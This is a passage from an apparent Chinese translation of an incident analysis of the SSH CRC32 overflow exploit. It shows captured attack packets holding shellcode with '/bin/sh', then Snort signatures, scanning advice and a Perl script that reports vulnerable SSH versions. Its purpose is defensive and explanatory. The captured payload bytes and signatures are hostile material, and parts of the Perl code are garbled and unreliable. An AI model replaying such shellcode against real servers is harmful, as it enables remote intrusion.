  ............ga..@.......%....`..p.....d&..2.+7#...1!?..c.r).8.^.h.....
  ..i..b6..9.f........n..0....:bah@s.e...h......(.d2.zg......#.......\.j
  w...o$....6.......$...v..;...u.@y.k2.p<\..o..?..l.........*.p.k<s..,..
  .@7.wbby......1.i..%".....g*g.g.t(......m........[.......j......<.


t 10.10.10.10:32957 -> 10.10.10.3:2222 [ap]
  ............ga..@.....`g.fg.g.!.i.}..........._.e....=../..6....;....)
  t.....|c...#w.\wve.cy .n.....q.sc....}..".n.g.w"....n.../#.....8x..&.z
  ....q/.......8..


t 10.10.10.3:2222 -> 10.10.10.10:32957 [ap]
  .........4..


t 10.10.10.10:32957 -> 10.10.10.3:2222 [a]
  ..w...2.......2.......2.......2.......2.......2.......2.......2.......
  2.......2.......2.......2.......2.......2.......2.......2.......2 ....
  ..2!......2$......2%......2(......2)......2,......2-......20......21..
  ....24......25......28......29......2<......2=......2@......2a......2d
  ......2e......2h......2i......2l......2m......2p......2q......2t......
  2u......2x......2y......2\......2]......2`......2a......2d......2e....
  ..2h......2i......2l......2m......2p......2q......2t......2u......2x..
  ....2y......2|......2}......2.......2.......2.......2.......2.......2.
  ......2.......2.......2.......2.......2.......2.......2.......2.......
  2.......2.......2.......2.......2.......2.......2.......2.......2.....
  ..2.......2.......2.......2.......2.......2.......2.......2.......2...
  ....2.......2.......2.......2.......2.......2.......2.......2.......2.
  ......2.......2.......2.......2.......2.......2.......2.......2.......
  2.......2.......2.......2.......2.......2.......2.......2.......2.....
  ..2.......2.......2.......2.......2.......2.......3.......3.......3...
  ....3.......3.......3.......3.......3.......3.......3.......3.......3.
  ......3.......3.......3.......3.......3 ......3!......3$......3%......
  3(......3)......3,......3-......30......31......34......35......38....
  ..39......3<......3=......3@......3a......3d......3e......3h......3i..
  ....3l......3m......3p......3q......3t......3u......3x......3y......3\
  ......3]......3`......3a......3d........1...p}.@


t 10.10.10.10:32957 -> 10.10.10.3:2222 [a]
  ......3i......3l......3m......3p......3q......3t......3u......3x......
  3y......3|......3}......3.......3.......3.......3.......3.......3.....
  ..3.......3.......3.......3.......3.......3.......3.......3.......3...
  ....3.......3.......3.......3.......3.......3.......3.......3.......3.
  ......3.......3.......3.......3.......3.......3.......3.......3.......
  3.......3.......3.......3.......3.......3.......3.......3.......3.....
  ..3.......3.......3.......3.......3.......3.......3.......3.......3...
  ....3.......3.......3.......3.......3.......3.......3.......3.......3.
  ......3.......3.......3.......3.......3.......4.......4.......4.......
  4.......4.......4.......4.......4.......4.......4.......4.......4.....
  ..4.......4.......4.......4.......4 ......4!......4$......4%......4(..
  ....4)......4,......4-......40......41......44......45......48......49
  ......4<......4=......4@......4a......4d......4e......4h......4i......
  4l......4m......4p......4q......4t......4u......4x......4y......4\....
  ..4]......4`......4a......4d......4e......4h......4i......4l......4m..
  ....4p......4q......4t......4u......4x......4y......4|......4}......4.
  ......4.......4.......4.......4.......4.......4.......4.......4.......
  4.......4.......4.......4.......4.......4.......4.......4.......4.....
  ..4.......4.......4.......4.......4.......4.......4.......4.......4...
  ....4.......4.......4.......4.......4.......4.......4.......4.......4.
  ......4.......4.......4.......4.........1...p}.@


. . .


t 10.10.10.10:32957 -> 10.10.10.3:2222 [a]
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  .....................1..f..1...c.].c.].k.m..m...1..e.cf.].f.e.09.m..e.
  .e..e.....m.....cc....c....1..?......a....^.u.1..f..e......m..u.......
  ./bin/sh.h0h0h0, 7350, zip/teso!......................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ......................................................................
  ........................................1...p}.@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

这样针对这个攻击程序你可以匹配如下字符串"h0h0h0, 7350, zip/teso!" [7] 和nop等。

下面的特征字符串由marty roesch 和 brian caswell开发并可使用在snort v1.8 或者
更高的版本[6]:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
alert tcp $external_net any -> $home_net 22 \
  (msg:"exploit ssh crc32 overflow /bin/sh"; \
  flags:a+; content:"/bin/sh"; \
  reference:bugtraq,2347; reference:cve,cve-2001-0144; \
  classtype:shellcode-detect;)


alert tcp $external_net any -> $home_net 22 \
  (msg:"exploit ssh crc32 overflow filler"; \
  flags:a+; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00|"; \
  reference:bugtraq,2347; reference:cve,cve-2001-0144; \
  classtype:shellcode-detect;)


alert tcp $external_net any -> $home_net 22 \
  (msg:"exploit ssh crc32 overflow noop"; \
  flags:a+; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; \
  reference:bugtraq,2347; reference:cve,cve-2001-0144; \
  classtype:shellcode-detect;)


alert tcp $external_net any -> $home_net 22 \
  (msg:"exploit ssh crc32 overflow"; \
  flags:a+; content:"|00 01 57 00 00 00 18|"; offset:0; depth:7; \
  content:"|ff ff ff ff 00 00|"; offset:8; depth:14; \
  reference:bugtraq,2347; reference:cve,cve-2001-0144; \
  classtype:shellcode-detect;)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

鉴别你的主机是否存在此漏洞
===========================

你可以使用jeremy mates scan_ssh.pl[8] 和 niels provos scanssh scanner[9]
写的脚本来鉴别ssh服务和它们的版本。

russell fulton 也公布了一个脚本程序argus[10]用来处理日志,包含在下面的附录中。

----------------------------------------------------------------------------

参考

========

[1] portable linux amazing cd (plac) v2.9.1pre2, by fred cohen
  http://www.all.net/forensix/plac.html


[2] netcat, by der hobbit
  http://www.l0pht.com/~weld/netcat/


[3] reverse engineers query tool
  http://packetstormsecurity.org/linux/reverse-engineering/reqt-0.7f.tar.gz


[4] list open files (lsof)
  http://sunsite.securitycentralhq.com/mirrors/security/lsof/lsof.tar.gz


[5] ngrep, by jordan ritter
  http://www.packetfactory.net/projects/ngrep/


[6] snort
  http://www.snort.org/


[7] 7350.org / 7350
  http://www.7350.org/
  http://www.team-teso.org/about.php (see the bottom)


[8] jeremy mates 提供的ssh_scan.pl
  http://sial.org/code/perl/scripts/ssh_scan.pl.html


[9] niels provos提供的scanssh 扫描程序
  http://www.monkey.org/~provos/scanssh/


[10] argus - 网络传输审核工具
  http://www.pl.freebsd.org/es/ports/net.html#argus-1.8.1


[11] tcpdump
  http://staff.washington.edu/dittrich/misc/sshdx.dump


[12] tcpreplay
  http://packages.debian.org/testing/net/tcpreplay.html



appendix a
==========


两个扫描脚本如下

=-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
#
# ssh-report
#
# dave dittrich <dittrich@cac.washington.edu>
# thu nov 8 21:39:20 pst 2001
#
# process output of scans for ssh servers, with version identifying
# information, into two level break report format by ssh version.
#
# this script operates on a list of scan results that look
# like this:
#
# % cat scanresults
# 10.0.0.1 beavertail.dept.foo.edu ssh-1.5-1.2.31
# 10.0.0.2 lumpysoup.dept.foo.edu ssh-1.5-1.2.31
# 10.0.0.3 marktwain.dept.foo.edu ssh-1.99-openssh_2.5.2p2
# 10.0.0.4 junebug.dept.foo.edu ssh-1.5-1.2.31
# 10.0.0.10 calvin.dept.foo.edu ssh-1.99-openssh_2.5.2p2
# 10.0.0.11 hobbes.dept.foo.edu ssh-1.99-openssh_2.1.1
# 10.0.0.20 willow.dept.foo.edu ssh-1.99-openssh_2.9p2
# 10.0.0.21 berry.dept.foo.edu ssh-1.99-openssh_2.9p2
# 10.0.0.23 whimpy.dept.foo.edu ssh-1.99-openssh_2.9p2
#
# the resulting report (without the "-a" flag) will look like this:
#
# % ssh-report < scanresults
#
# ssh-1.5-1.2.31 (affected)
# beavertail.dept.foo.edu(10.0.0.1)
# lumpysoup.dept.foo.edu(10.0.0.2)
# junebug.dept.foo.edu(10.0.0.4)
#
#
# ssh-1.99-openssh_2.1.1 (affected)
# hobbes.dept.foo.edu(10.0.0.11)
#
# by default, this script will only report on those systems that
# are running potentially vulnerable ssh servers. use the "-a"
# option to report on all servers. use "grep -v" to filter out
# hosts *before* you run them through this reporting script.
#
# ssh servers are considered "affected" if they are known, by being
# listed in one or more of the following references, to have the crc32
# compensation attack detector vulnerability:
#
# http://www.kb.cert.org/vuls/id/945216
# http://www.securityfocus.com/bid/2347/
# http://xforce.iss.net/alerts/advise100.php
# http://www.ssh.com/products/ssh/advisories/ssh1_crc-32.cfm
#
# you also may need to adjust the logic below to lump systems
# into the "unknown" category correctly (e.g., if your server
# has a custom version string, access control, etc.)
#
# the list below of servers and potential vulnerability was derived by
# summarizing existing versions on a set of production networks and
# using the advisories and reference material listed above. you
# should update this list as new information is obtained, or if new
# versions of the ssh server are found on your network.


%affected = (
unknown, unknown,
ssh-1.4-1.2.14, not affected,
ssh-1.4-1.2.15, not affected,
ssh-1.4-1.2.16, not affected,
ssh-1.5-1.2.17, not affected,
ssh-1.5-1.2.18, not affected,
ssh-1.5-1.2.19, not affected,
ssh-1.5-1.2.20, not affected,
ssh-1.5-1.2.21, not affected,
ssh-1.5-1.2.22, not affected,
ssh-1.5-1.2.23, not affected,
ssh-1.5-1.2.24, affected,
ssh-1.5-1.2.25, affected,
ssh-1.5-1.2.26, affected,
ssh-1.5-1.2.27, affected,
ssh-1.5-1.2.28, affected,
ssh-1.5-1.2.29, affected,
ssh-1.5-1.2.30, affected,
ssh-1.5-1.2.31, affected,
ssh-1.5-1.2.31a, not affected,
ssh-1.5-1.2.32, not affected,
ssh-1.5-1.3.7, not affected,
ssh-1.5-cisco-1.25, unknown,
ssh-1.5-osu_1.5alpha1, unknown,
ssh-1.5-openssh-1.2, affected,
ssh-1.5-openssh-1.2.1, affected,
ssh-1.5-openssh-1.2.2, affected,
ssh-1.5-openssh-1.2.3, affected,
ssh-1.5-openssh_2.5.1, not affected,
ssh-1.5-openssh_2.5.1p1, not affected,
ssh-1.5-openssh_2.9p1, not affected,
ssh-1.5-openssh_2.9p2, not affected,
ssh-1.5-remotelyanywhere, not affected,
ssh-1.99-2.0.11, affected w/version 1 fallback,
ssh-1.99-2.0.12, affected w/version 1 fallback,
ssh-1.99-2.0.13, affected w/version 1 fallback,
ssh-1.99-2.1.0.pl2, affected w/version 1 fallback,
ssh-1.99-2.1.0, affected w/version 1 fallback,
ssh-1.99-2.2.0, affected w/version 1 fallback,
ssh-1.99-2.3.0, affected w/version 1 fallback,
ssh-1.99-2.4.0, affected w/version 1 fallback,
ssh-1.99-3.0.0, affected w/version 1 fallback,
ssh-1.99-3.0.1, affected w/version 1 fallback,
ssh-1.99-openssh-2.1, affected,
ssh-1.99-openssh_2.1.1, affected,
ssh-1.99-openssh_2.2.0, affected,
ssh-1.99-openssh_2.2.0p1, affected,
ssh-1.99-openssh_2.3.0, not affected,
ssh-1.99-openssh_2.3.0p1, not affected,
ssh-1.99-openssh_2.5.1, not affected,
ssh-1.99-openssh_2.5.1p1, not affected,
ssh-1.99-openssh_2.5.1p2, not affected,
ssh-1.99-openssh_2.5.2p2, not affected,
ssh-1.99-openssh_2.9.9p2, not affected,
ssh-1.99-openssh_2.9, not affected,
ssh-1.99-openssh_2.9p1, not affected,
ssh-1.99-openssh_2.9p2, not affected,
ssh-1.99-openssh_3.0p1, not affected,
ssh-2.0-1.1.1, unknown,
ssh-2.0-2.3.0, affected w/version 1 fallback,
ssh-2.0-2.4.0, affected w/version 1 fallback,
ssh-2.0-3.0.0, affected w/version 1 fallback,
ssh-2.0-3.0.1, affected w/version 1 fallback,
ssh-2.0-openssh_2.5.1p1, not affected,
ssh-2.0-openssh_2.5.2p2, not affected,
ssh-2.0-openssh_2.9.9p2, not affected,
ssh-2.0-openssh_2.9p2, not affected,
);


# make sure you read the code first.
&iknowwhatimdoing();


$all++, shift(@argv) if $argv[0] eq "-a";


while (<>) {
  chop;
  s/\s+/ /g;
  ($ip, $host, $version) = split( , $_);


  # adjust this to identify other strings reported
  # by servers that have access restrictions, etc.
  # in place and do not show a specific version number.
  # they all fall under the category "unknown" in this case.
  $version = "unknown"
  if ($version eq "couldnt" ||
  $version eq "unknown" ||
  $version eq "you" ||
  $version eq "timeout");


  $server = $host;
}


foreach $i (sort keys %server) {
  ($version,$ip) = split(":", $i);
  next if ($affected eq "not affected" && ! $all);
  printf("\n\n%s (%s)\n", $version, $affected)
  if ($curver ne $version);
  $curver = $version;
  print " " . $server . "($ip)\n";
}


exit(0);


sub iknowwhatimdoing {
  local $iknowwhatimdoing = 0;


  # uncomment the following line to make this script work.
  # $iknowwhatimdoing++;
  die "i told you to read the code first, didnt i?\n"
  unless $iknowwhatimdoing;
  return;
}
=-=-=-=-=-=-=-=-=-=-=-=-=-=- cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


()

相关文章:
© 2006   www.java-asp.net